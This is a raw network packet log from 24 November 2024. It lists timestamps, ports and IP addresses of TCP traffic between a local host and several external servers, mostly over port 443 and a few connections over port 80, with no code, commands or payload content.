Nov 24, 2024 04:23:51.907809973 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.908904076 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.908957005 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.909087896 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.912935019 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.912959099 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.913034916 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.913041115 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.913933992 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.913966894 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.914118052 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.914381981 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.914412975 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.916584015 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.916584015 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.916620016 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.918057919 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.918070078 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.923598051 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.927015066 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.927042007 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.928072929 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.928124905 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.928441048 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.928487062 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.928575993 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.928581953 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.939748049 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.949654102 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.949867964 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.949879885 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.950930119 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.950989008 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.951278925 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.951330900 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.951399088 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.955322027 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.955775023 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.999325037 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.043360949 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.043358088 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.043360949 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.043390036 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.083983898 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.091877937 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.091901064 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.092317104 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.092320919 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.201478958 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.272023916 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.272051096 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.272129059 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.272167921 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.273705959 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.273762941 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.273777962 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.273802042 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.273947954 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.274003029 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.274058104 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.274070978 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.277546883 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.277575016 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.277576923 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.277676105 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.317528963 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.317543030 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.350946903 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.354104996 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.354162931 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.366990089 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.408027887 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.408056974 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.409075022 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.409482002 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.453655958 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.453680038 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.493489027 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.517635107 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.521130085 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.531331062 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.532947063 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.597515106 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.602891922 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.648000956 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.652239084 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.652252913 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.652656078 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.652661085 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.668823957 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.668849945 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.669147968 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.677984953 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.683104992 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.683123112 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.683131933 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.683136940 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.690045118 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.690051079 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.690505981 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.690510988 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.695321083 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.695355892 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.695477962 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.695848942 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.695858955 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.696249962 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.696285963 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.697715044 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.697725058 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.701848984 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:52.701857090 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:52.739856005 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.750771999 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.750843048 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.751200914 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.751214981 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.816829920 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.824376106 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:52.824392080 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.824954033 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.825620890 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:52.826019049 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.826508999 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:52.828823090 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:52.829006910 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.829431057 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:52.871382952 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.902755022 CET	50012	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:52.903249025 CET	50033	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:52.907510996 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:52.907521963 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:52.977865934 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.980958939 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.981508017 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.981543064 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.981543064 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.981560946 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.981570959 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.985165119 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.985198975 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:52.985307932 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.985500097 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:52.985512972 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.013067961 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.022631884 CET	80	50012	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:53.022691011 CET	80	50033	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:53.023468018 CET	50012	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:53.023509979 CET	50033	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:53.024595976 CET	50033	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:53.039241076 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.042520046 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.042632103 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.043220997 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.043498993 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.043514967 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.043544054 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.043559074 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.048662901 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.048707008 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.048763990 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.049002886 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.049020052 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.144006014 CET	80	50033	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:53.156884909 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.160926104 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.160943985 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.161364079 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.161369085 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.195023060 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.198103905 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.207330942 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.241626978 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.250382900 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.250426054 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.250453949 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.250469923 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.287184000 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.287252903 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.295407057 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.301028013 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.301614046 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.301641941 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.309374094 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.316637993 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.316648006 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.317672014 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.326039076 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.331607103 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.331617117 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.334357023 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.334465027 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.340791941 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.340807915 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.341789961 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.357021093 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.357070923 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.357477903 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.357815981 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.357831001 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.488426924 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.489975929 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.490436077 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.490534067 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.497750998 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.497853994 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.499238014 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.499258995 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.499345064 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.505232096 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.508217096 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.512495041 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.512654066 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.519557953 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.519881964 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.519898891 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.527080059 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.527513027 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.527527094 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.534288883 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.534446955 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.535559893 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.535712004 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:53.535727978 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:53.628643036 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.631722927 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.631825924 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.631895065 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.631910086 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.631921053 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.631926060 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.640499115 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:53.640525103 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:53.642225981 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:53.642272949 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:53.643420935 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.643446922 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.643776894 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:53.643778086 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:53.643970013 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:53.643990993 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:53.644078970 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:53.644088984 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:53.644148111 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.645391941 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:53.645401955 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:53.765502930 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:53.767262936 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:53.767271042 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:53.768059969 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:53.768594027 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:53.768652916 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:53.768729925 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:53.811335087 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:53.912671089 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.160700083 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.161988020 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.161997080 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.162421942 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.162777901 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.162874937 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.162904024 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.207325935 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.217932940 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.220695019 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.223066092 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.224834919 CET	50029	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.224847078 CET	443	50029	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.252151012 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.284521103 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:54.284562111 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:54.284632921 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:54.284800053 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:54.284821033 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:54.399966955 CET	80	50033	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:54.400037050 CET	50033	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:54.562278986 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.567883015 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:54.567893028 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.568330050 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:54.568334103 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.614367962 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.614394903 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.614485025 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.614495039 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.615576029 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.615609884 CET	443	50031	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:54.615691900 CET	50031	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:54.829840899 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.832778931 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:54.832798958 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.833266020 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:54.833271027 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.841208935 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.846232891 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:54.846323013 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.846628904 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:54.846642971 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:54.907108068 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.907469034 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.907506943 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.907865047 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.908329964 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.908544064 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.908689022 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.910168886 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.910238028 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.910469055 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.951327085 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.952688932 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.953082085 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.953102112 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.969475031 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.969484091 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.970060110 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.970340967 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.971497059 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.972451925 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.973082066 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:54.973154068 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:54.973817110 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.014486074 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.016895056 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.017997026 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.018049002 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.018301964 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.019321918 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.076091051 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.093558073 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.093585014 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.093606949 CET	50032	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.093612909 CET	443	50032	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.095562935 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.095602036 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.095976114 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.095984936 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.102684975 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.102736950 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.102807045 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.102945089 CET	50047	443	192.168.2.5	13.107.246.63
